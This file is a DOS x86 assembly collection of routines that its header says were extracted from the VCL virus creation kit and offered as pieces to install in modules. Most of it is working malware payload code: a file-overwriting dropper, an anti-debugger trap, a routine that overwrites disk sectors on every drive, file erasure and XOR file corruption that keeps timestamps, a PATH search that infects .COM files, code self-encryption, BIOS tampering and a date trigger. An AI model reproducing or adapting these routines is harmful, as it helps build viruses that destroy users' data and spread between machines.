;These routines were pulled from the VCL as an aid to those who
;wish to write themselves some utilities. I have tried to gather
;all the essential pieces of the routines, so that you can simply
;install them in modules.
;
;
;
;
;This is a DROPPER routine from the VCL.


                mov     dx,offset data00        ; DX points to data
		mov	si,offset data01	; SI points to data
		push	di			; Save DI
		mov	ah,02Fh			; DOS get DTA function
		int	021h
		mov	di,bx			; DI points to DTA
		mov	ah,04Eh			; DOS find first file function
		mov	cx,00100111b		; CX holds all file attributes
		int	021h
		jc	create_file		; If not found then create it
write_in_file:	mov	ax,04301h		; DOS set file attributes function
		xor	cx,cx			; File will have no attributes
		lea	dx,[di + 01Eh]		; DX points to file name
		int	021h
		mov	ax,03D01h		; DOS open file function, write
		lea	dx,[di + 01Eh]		; DX points to file name
		int	021h
		xchg	bx,ax			; Transfer file handle to AX
		mov	ah,040h			; DOS write to file function
		mov	cx,[si]			; CX holds number of byte to write
		lea	dx,[si + 2]		; DX points to the data
		int	021h
		mov	ax,05701h		; DOS set file date/time function
		mov	cx,[di + 016h]		; CX holds old file time
		mov	dx,[di + 018h]		; DX holds old file data
		int	021h
		mov	ah,03Eh			; DOS close file function
		int	021h
		mov	ax,04301h		; DOS set file attributes function
		xor	ch,ch			; Clear CH for attributes
		mov	cl,[di + 015h]		; CL holds old attributes
		lea	dx,[di + 01Eh]		; DX points to file name
		int	021h
		mov	ah,04Fh			; DOS find next file function
		int	021h
		jnc	write_in_file		; If successful do next file
		jmp	short dropper_end	; Otherwise exit
create_file:	mov	ah,03Ch			; DOS create file function
		xor	cx,cx			; File has no attributes
		int	021h
		xchg	bx,ax			; Transfer file handle to AX
		mov	ah,040h			; DOS write to file function
		mov	cx,[si]			; CX holds number of byte to write
		lea	dx,[si + 2]		; DX points to the data
		int	021h
		mov	ah,03Eh			; DOS close file function
		int	021h
dropper_end:	pop	di			; Restore DI


		mov	ax,04C00h		; DOS terminate function
                int     021h

;This is a STOP TRACE technique for fouling up DEBUGGERS


stop_tracing:	mov	cx,09EBh
		mov	ax,0FE05h		; Acutal move, plus a HaLT
		jmp	$-2
		add	ah,03Bh			; AH now equals 025h
		jmp	$-10			; Execute the HaLT
		mov	bx,offset null_vector	; BX points to new routine
		push	cs			; Transfer CS into ES
		pop	es			; using a PUSH/POP
		int	021h
		mov	al,1			; Disable interrupt 1, too
		int	021h
		jmp	short skip_null		; Hop over the loop
null_vector:	jmp	$			; An infinite loop
skip_null:	mov	byte ptr [lock_keys + 1],130  ; Prefetch unchanged
lock_keys:	mov	al,128			; Change here screws DEBUG
		out	021h,al			; If tracing then lock keyboard

;This is a TRASH routine for destroying sectors


		mov	ax,0002h		; First argument is 2
		mov	cx,0001h		; Second argument is 1
		cli				; Disable interrupts (no Ctrl-C)
		cwd				; Clear DX (start with sector 0)
trash_loop:	int	026h			; DOS absolute write interrupt
		dec	ax			; Select the previous disk
		cmp	ax,-1			; Have we gone too far?
		jne	trash_loop		; If not, repeat with new drive
		sti				; Restore interrupts

;This is a FILE ERASE routine


		mov	dx,offset data02	; DX points to data
		mov	ah,04Eh			; DOS find first file function
		mov	cx,00100111b		; All file attributes valid
		int	021h
		jc	erase_done		; Exit procedure on failure
		mov	ah,02Fh			; DOS get DTA function
		int	021h
		lea	dx,[bx + 01Eh]		; DX points to filename in DTA
erase_loop:	mov	ah,041h			; DOS delete file function
		int	021h
		mov	ah,03Ch			; DOS create file function
		xor	cx,cx			; No attributes for new file
		int	021h
		mov	ah,041h			; DOS delete file function
		int	021h
		mov	ah,04Fh			; DOS find next file function
		int	021h
		jnc	erase_loop		; Repeat until no files left
erase_done:

		mov	ax,04C00h		; DOS terminate function
		int	021h

;This is a DIRECTORY "PATH"/ FILE FIND routine


search_files	proc	near
		mov	bx,di			; BX points to the virus
		push	bp			; Save BP
		mov	bp,sp			; BP points to local buffer
		sub	sp,135			; Allocate 135 bytes on stack

		mov	byte ptr [bp - 135],'\'	; Start with a backslash

		mov	ah,047h			; DOS get current dir function
		xor	dl,dl			; DL holds drive # (current)
		lea	si,[bp - 134]		; SI points to 64-byte buffer
		int	021h

		call	traverse_path		; Start the traversal

traversal_loop:	cmp	word ptr [bx + path_ad],0	; Was the search unsuccessful?
		je	done_searching		; If so then we're done
		call	found_subdir		; Otherwise copy the subdirectory

		mov	ax,cs			; AX holds the code segment
		mov	ds,ax			; Set the data and extra
		mov	es,ax			; segments to the code segment

		xor	al,al			; Zero AL
		stosb				; NULL-terminate the directory

		mov	ah,03Bh			; DOS change directory function
		lea	dx,[bp - 70]		; DX points to the directory
		int	021h

		lea	dx,[bx + com_mask]	; DX points to "*.COM"
		push	di
		mov	di,bx
		call	find_files		; Try to infect a .COM file
		mov	bx,di
		pop	di
		jnc	done_searching		; If successful the exit
		jmp	short traversal_loop	; Keep checking the PATH

done_searching:	mov	ah,03Bh			; DOS change directory function
		lea	dx,[bp - 135]		; DX points to old directory
		int	021h

		cmp	word ptr [bx + path_ad],0	; Did we run out of directories?
		jne	at_least_tried		; If not then exit
		stc				; Set the carry flag for failure
at_least_tried:	mov	sp,bp			; Restore old stack pointer
		pop	bp			; Restore BP
		ret				; Return to caller
com_mask	db	"*.COM",0		; Mask for all .COM files
search_files	endp

traverse_path	proc	near
		mov	es,word ptr cs:[002Ch]	; ES holds the enviroment segment
		xor	di,di			; DI holds the starting offset

find_path:	lea	si,[bx + path_string]	; SI points to "PATH="
		lodsb				; Load the "P" into AL
		mov	cx,08000h		; Check the first 32767 bytes
	repne	scasb				; Search until the byte is found
		mov	cx,4			; Check the next four bytes
check_next_4:	lodsb				; Load the next letter of "PATH="
		scasb				; Compare it to the environment
		jne	find_path		; If there not equal try again
		loop	check_next_4		; Otherwise keep checking

		mov	word ptr [bx + path_ad],di	; Save the PATH address
		mov	word ptr [bx + path_ad + 2],es  ; Save the PATH's segment
		ret				; Return to caller

path_string	db	"PATH="			; The PATH string to search for
path_ad		dd	?			; Holds the PATH's address
traverse_path	endp

found_subdir	proc	near
		lds	si,dword ptr [bx + path_ad]	; DS:SI points to PATH
		lea	di,[bp - 70]		; DI points to the work buffer
		push	cs			; Transfer CS into ES for
		pop	es			; byte transfer
move_subdir:	lodsb				; Load the next byte into AL
		cmp	al,';'			; Have we reached a separator?
		je	moved_one		; If so we're done copying
		or	al,al			; Are we finished with the PATH?
		je	moved_last_one		; If so get out of here
		stosb				; Store the byte at ES:DI
		jmp	short move_subdir	; Keep transfering characters

moved_last_one:	xor	si,si			; Zero SI to signal completion
moved_one:	mov	word ptr es:[bx + path_ad],si  ; Store SI in the path address
		ret				; Return to caller
found_subdir	endp

find_files	proc	near
		push	bp			; Save BP

		mov	ah,02Fh			; DOS get DTA function
		int	021h
		push	bx			; Save old DTA address

		mov	bp,sp			; BP points to local buffer
		sub	sp,128			; Allocate 128 bytes on stack

		push	dx			; Save file mask
		mov	ah,01Ah			; DOS set DTA function
		lea	dx,[bp - 128]		; DX points to buffer
		int	021h

		mov	ah,04Eh			; DOS find first file function
		mov	cx,00100111b		; CX holds all file attributes
		pop	dx			; Restore file mask
find_a_file:	int	021h
		jc	done_finding		; Exit if no files found
		call	infect_file		; Infect the file!
		jnc	done_finding		; Exit if no error
		mov	ah,04Fh			; DOS find next file function
		jmp	short find_a_file	; Try finding another file

done_finding:	mov	sp,bp			; Restore old stack frame
		mov	ah,01Ah			; DOS set DTA function
		pop	dx			; Retrieve old DTA address
		int	021h

		pop	bp			; Restore BP
		ret				; Return to caller
find_files	endp


;This is a RAM REDUCTION routine


		mov	dx,0064h		; First argument is 100
		push	es			; Save ES
		mov	ax,040h			; Set extra segment to 040h
		mov	es,ax                   ; (ROM BIOS)
		mov	word ptr es:[013h],dx	; Store new RAM ammount
		pop	es			; Restore ES

		mov	ah,0Fh			; BIOS get video mode function
		int	010h
		xor	ah,ah			; BIOS set video mode function
		int	010h


;This is a MACHINE GUN SOUND routine followed by a DROP TO ROM routine


		mov	cx,0005h		; First argument is 5
new_shot:       push	cx			; Save the current count
		mov 	dx,0140h		; DX holds pitch
		mov   	bx,0100h		; BX holds shot duration
		in    	al,061h			; Read the speaker port
		and   	al,11111100b		; Turn off the speaker bit
fire_shot:	xor	al,2                    ; Toggle the speaker bit
		out	061h,al			; Write AL to speaker port
		add     dx,09248h		;
		mov	cl,3                    ;
		ror	dx,cl			; Figure out the delay time
		mov	cx,dx                   ;
		and	cx,01FFh                ;
		or	cx,10                   ;
shoot_pause:	loop	shoot_pause             ; Delay a bit
		dec	bx			; Are we done with the shot?
		jnz	fire_shot		; If not, pulse the speaker
		and   	al,11111100b		; Turn off the speaker bit
		out   	061h,al			; Write AL to speaker port
		mov   	bx,0002h                ; BX holds delay time (ticks)
		xor   	ah,ah			; Get time function
		int   	1Ah			; BIOS timer interrupt
		add   	bx,dx                   ; Add current time to delay
shoot_delay:    int   	1Ah			; Get the time again
		cmp   	dx,bx			; Are we done yet?
		jne   	shoot_delay		; If not, keep checking
		pop	cx			; Restore the count
		loop	new_shot		; Do another shot

		int	018h			; Drop to ROM BASIC


		mov	ax,04C00h		; DOS terminate function
		int	021h


;This is a DISPLAY STRING routine


main		proc	near
		mov	si,offset data00	; SI points to data
		mov	ah,0Eh			; BIOS display char. function
display_loop:   lodsb				; Load the next char. into AL
		or	al,al			; Is the character a null?
		je	disp_strnend		; If it is, exit
		int	010h			; BIOS video interrupt
		jmp	short display_loop	; Do the next character
disp_strnend:


This is a RANDOM NUMBER from BIOS CLOCK generator


get_random      proc	near
		xor	ah,ah			; BIOS get clock count function
		int	01Ah
		xchg	dx,ax			; Transfer the count into AX
		ret				; Return to caller
get_random      endp


This is an CODE ENCRYPTION routine


encrypt_code	proc	near
		mov	si,offset encrypt_decrypt; SI points to cipher routine

		xor	ah,ah			; BIOS get time function
		int	01Ah
		mov	word ptr [si + 8],dx	; Low word of timer is new key

		xor	byte ptr [si],1		;
		xor	byte ptr [si + 7],1	; Change all SIs to DIs
		xor	word ptr [si + 10],0101h; (and vice-versa)

		mov	di,offset finish	; Copy routine into heap
		mov	cx,finish - encrypt_decrypt - 1  ; All but final RET
		push	si			; Save SI for later
		push	cx			; Save CX for later
	rep	movsb				; Copy the bytes

		mov	si,offset write_stuff	; SI points to write stuff
		mov	cx,5			; CX holds length of write
	rep	movsb				; Copy the bytes

		pop	cx			; Restore CX
		pop	si			; Restore SI
		inc	cx			; Copy the RET also this time
	rep	movsb				; Copy the routine again

		mov	ah,040h			; DOS write to file function
		mov	dx,offset start		; DX points to virus

		call	finish			; Encrypt/write/decrypt

		ret				; Return to caller

write_stuff:	mov	cx,finish - start	; Length of code
		int	021h
encrypt_code	endp

end_of_code	label	near

encrypt_decrypt	proc	near
		mov	si,offset start_of_code ; SI points to code to decrypt
		mov	cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop:	db	081h,034h,00h,00h	; XOR a word by the key
		inc	si			; Do the next word
		inc	si			;
		loop	xor_loop		; Loop until we're through
		ret				; Return to caller
encrypt_decrypt	endp


;This is a BEEP routine


beep            proc	near
		jcxz	beep_end		; Exit if there are no beeps
		mov	ax,0E07h		; BIOS display char., BEL
beep_loop:	int	010h			; Beep
		loop	beep_loop		; Beep until --CX = 0
beep_end:
		ret				; Return to caller
beep            endp


;This is a GET DAY/WEEK COMPARE BEFORE ACTIVATE routine


		call	get_day
		cmp	ax,000Bh		; Did the function return 11?
		jne	skip00			; If not equal, skip effect
		call	get_weekday
		cmp	ax,0005h		; Did the function return 5?
		jne	skip00			; If not equal, skip effect
		jmp	short strt00		; Success -- skip jump
skip00:		jmp	end00			; Skip the routine
strt00:		mov	si,offset data00	; SI points to data
		mov	ah,0Eh			; BIOS display char. function

;Code goes between this-------------------------------->

get_day         proc    near
		mov	ah,02Ah			; DOS get date function
		int	021h
		mov	al,dl			; Copy day into AL
		cbw				; Sign-extend AL into AX
		ret				; Return to caller
get_day         endp

get_weekday     proc	near
		mov	ah,02Ah			; DOS get date function
		int	021h
		cbw				; Sign-extend AL into AX
		ret				; Return to caller
get_weekday     endp


;This is a FILE CORRUPTION routine


		mov	dx,offset data01	; DX points to data
		push	bp			; Save BP
		mov	bp,sp			; BP points to stack frame
		sub	sp,4096			; Allocate 4096-byte buffer
		push	di			; Save DI
		mov	ah,02Fh			; DOS get DTA function
		int	021h
		mov	di,bx			; DI points to DTA
		mov	ah,04Eh			; DOS find first file function
		mov	cx,00100111b		; CX holds all file attributes
		int	021h
		jc      corrupt_end		; If no files found then exit
corrupt_file:	mov	ax,04301h		; DOS set file attributes function
		xor	cx,cx			; File will have no attributes
		lea	dx,[di + 01Eh]		; DX points to file name
		int	021h
		mov	ax,03D02h		; DOS open file function, r/w
		lea	dx,[di + 01Eh]		; DX points to file name
		int	021h
		xchg	bx,ax			; Transfer file handle to AX
c_crypt_loop:	mov	ah,03Fh			; DOS read from file function
		mov	cx,4096			; Read 4k of characters
		lea	dx,[bp - 4096]		; DX points to the buffer
		int	021h
		or	ax,ax			; Were 0 bytes read?
		je	close_c_file		; If so then close it up
		push	ax			; Save AX
		lea	si,[bp - 4096]		; SI points to the buffer
		xor	ah,ah			; BIOS get clock ticks function
		int	01Ah
		pop	cx			; CX holds number of bytes read
		push	cx			; Save CX
corrupt_bytes:	xor	byte ptr [si],dl	; XOR byte by clock ticks
		inc	si			; Do the next byte
		inc	dx			; Change the key for next byte
		loop	corrupt_bytes		; Repeat until buffer is done
		pop	dx			; Restore DX (holds bytes read)
		push	dx			; Save count for write
		mov	ax,04201h		; DOS file seek function, current
		mov	cx,0FFFFh		; Seeking backwards
		neg	dx			; Seeking backwards
		int	021h
		mov	ah,040h			; DOS write to file function
		pop	cx			; CX holds number of bytes read
		lea	dx,[bp - 4096]		; DX points to the buffer
		int	021h
		jmp	short c_crypt_loop
close_c_file:	mov	ax,05701h		; DOS set file date/time function
		mov	cx,[di + 016h]		; CX holds old file time
		mov	dx,[di + 018h]		; DX holds old file data
		int	021h
		mov	ah,03Eh			; DOS close file function
		int	021h
		mov	ax,04301h		; DOS set file attributes function
		xor	ch,ch			; Clear CH for attributes
		mov	cl,[di + 015h]		; CL holds old attributes
		lea	dx,[di + 01Eh]		; DX points to file name
		int	021h
		mov	ah,04Fh			; DOS find next file function
		int	021h
		jnc	corrupt_file		; If successful do next file
corrupt_end:	pop	di			; Restore DI
		mov	sp,bp			; Deallocate local buffer
		pop	bp			; Restore BP


;This is a COM PORT REARRANGING routin


		mov	bx,0001h		; First argument is 1
		mov	si,0002h		; Second argument is 2
		push	es			; Save ES
		xor	ax,ax			; Set the extra segment to
		mov	es,ax                   ; zero (ROM BIOS)
		shl	bx,1			; Convert to word index
		shl	si,1			; Convert to word index
		mov	ax,word ptr [bx + 03FEh]; Zero COM port address
		xchg	word ptr [si + 03FEh],ax; Put first value in second,
		mov	word ptr [bx + 03FEh],ax; and second value in first!
		pop	es			; Restore ES


;This is a DROP TO ROM routine


rom_basic       proc	near
		int	018h			; Drop to ROM BASIC
		ret				; Return to caller
rom_basic       endp


;This is a TUNE PLAYING routine + TUNE DATA


		mov	si,offset data00	; SI points to data
get_note:	mov	bx,[si]			; Load BX with the frequency
		or	bx,bx			; Is BX equal to zero?
		je      play_tune_done		; If it is we are finished

		mov	ax,034DDh		;
		mov	dx,0012h                ;
		cmp	dx,bx                   ;
		jnb	new_note                ;
		div	bx                      ; This bit here was stolen
		mov	bx,ax                   ; from the Turbo C++ v1.0
		in	al,061h                 ; library file CS.LIB.  I
		test	al,3                    ; extracted sound() from the
		jne	skip_an_or              ; library and linked it to
		or	al,3                    ; an .EXE file, then diassembled
		out	061h,al                 ; it.  Basically this turns
		mov	al,0B6h                 ; on the speaker at a certain
		out	043h,al                 ; frequency.
skip_an_or:	mov	al,bl                   ;
		out	042h,al                 ;
		mov	al,bh                   ;
		out	042h,al                 ;

		mov	bx,[si + 2]		; BX holds duration value
		xor	ah,ah			; BIOS get time function
		int	1Ah
		add	bx,dx			; Add the time to the length
wait_loop:  	int	1Ah                     ; Get the time again (AH = 0)
		cmp	dx,bx			; Is the delay over?
		jne	wait_loop		; Repeat until it is

		in	al,061h			; Stolen from the nosound()
		and	al,0FCh                 ; procedure in Turbo C++ v1.0.
		out	061h,al                 ; This turns off the speaker.

new_note:	add	si,4			; SI points to next note
		jmp	short get_note		; Repeat with the next note
play_tune_done:


data00		dw	262,6,262,6,293,6,329,6,262,6,329,6,293,6,196,6
		dw	262,6,262,6,293,6,329,6,262,12,262,12
		dw	262,6,262,6,293,6,329,6,349,6,329,6,293,6,262,6
		dw	246,6,196,6,220,6,246,6,262,12,262,12
		dw	220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,6
		dw	196,6,220,6,196,6,174,6,164,6,174,6,196,7
		dw	220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,7
		dw	196,6,262,6,246,6,293,6,262,12,262,12
		dw	0


;This is an ANSI DISPLAY routine



		mov	si,offset data01	; SI points to data
		xor	cx,cx			; Clear CX
		push	di                      ; Save DI
		push	es			; Save ES

		jcxz	uncrunch_done		; Exit if there are no characters

		mov	ah,0Fh          	; BIOS get screen mode function
		int	10h
		xor	ah,ah           	; BIOS set screen mode function
		int	10h             	; Clear the screen

		xor	di,di
		mov	ax,0B800h		; AX is set to video segment
		mov	es,ax			; ES holds video segment

		mov	dx,di			; Save X coordinate for later
		xor	ax,ax			; Set current attributes
		cld

loopa:		lodsb				; Get next character
		cmp	al,32			; Is it a control character?
		jb	foreground		; Handle it if it is
		stosw				; Save letter on screen
next:		loop	loopa			; Repeat until we're done
		jmp	short uncrunch_done	; Leave this routine

foreground:	cmp	al,16			; Are we changing the foreground?
		jnb	background		; If not, check the background
		and	ah,0F0h			; Strip off old foreground
		or	ah,al			; Put the new one on
		jmp	short next		; Resume looping

background:	cmp	al,24			; Are we changing the background?
		je	next_line		; If AL = 24, go to next line
		jnb	flash_bit_toggle	; If AL > 24 set the flash bit
		sub	al,16   		; Change AL to a color number
		add	al,al			; Crude way of shifting left
		add	al,al                   ; four bits without changing
		add	al,al                   ; CL or wasting space.  Ok,
		add	al,al                   ; I guess.
		and	al,08Fh			; Strip off old background
		or	ah,al			; Put the new one on
		jmp	short next		; Resume looping

next_line:	add	dx,160			; Skip a whole line (80 chars.
		mov	di,dx			; AND 80 attribs.)
		jmp	short next		; Resume looping

flash_bit_toggle: cmp	al,27			; Is it a blink toggle?
		jb	multi_output		; If AL < 27, it's a blinker
		jne	next			; Otherwise resume looping
		xor	ah,128			; Toggle the flash bit
		jmp	short next		; Resume looping

multi_output:   cmp	al,25			; Set Zero flag if multi-space
		mov	bx,cx			; Save main counter
		lodsb				; Get number of repititions
		mov	cl,al			; Put it in CL
		mov	al,' '			; AL holds a space
		jz	start_output		; If displaying spaces, jump
		lodsb				; Otherwise get character to use
		dec	bx			; Adjust main counter

start_output:	xor	ch,ch			; Clear CH
		inc	cx			; Add one to count
	rep	stosw				; Display the character
		mov	cx,bx			; Restore main counter
		dec	cx			; Adjust main counter
		loopnz	loopa			; Resume looping if not done

uncrunch_done:	pop	es			; Restore ES
		pop	di			; Restore DI


		mov	ax,04C00h		; DOS terminate function
		int	021h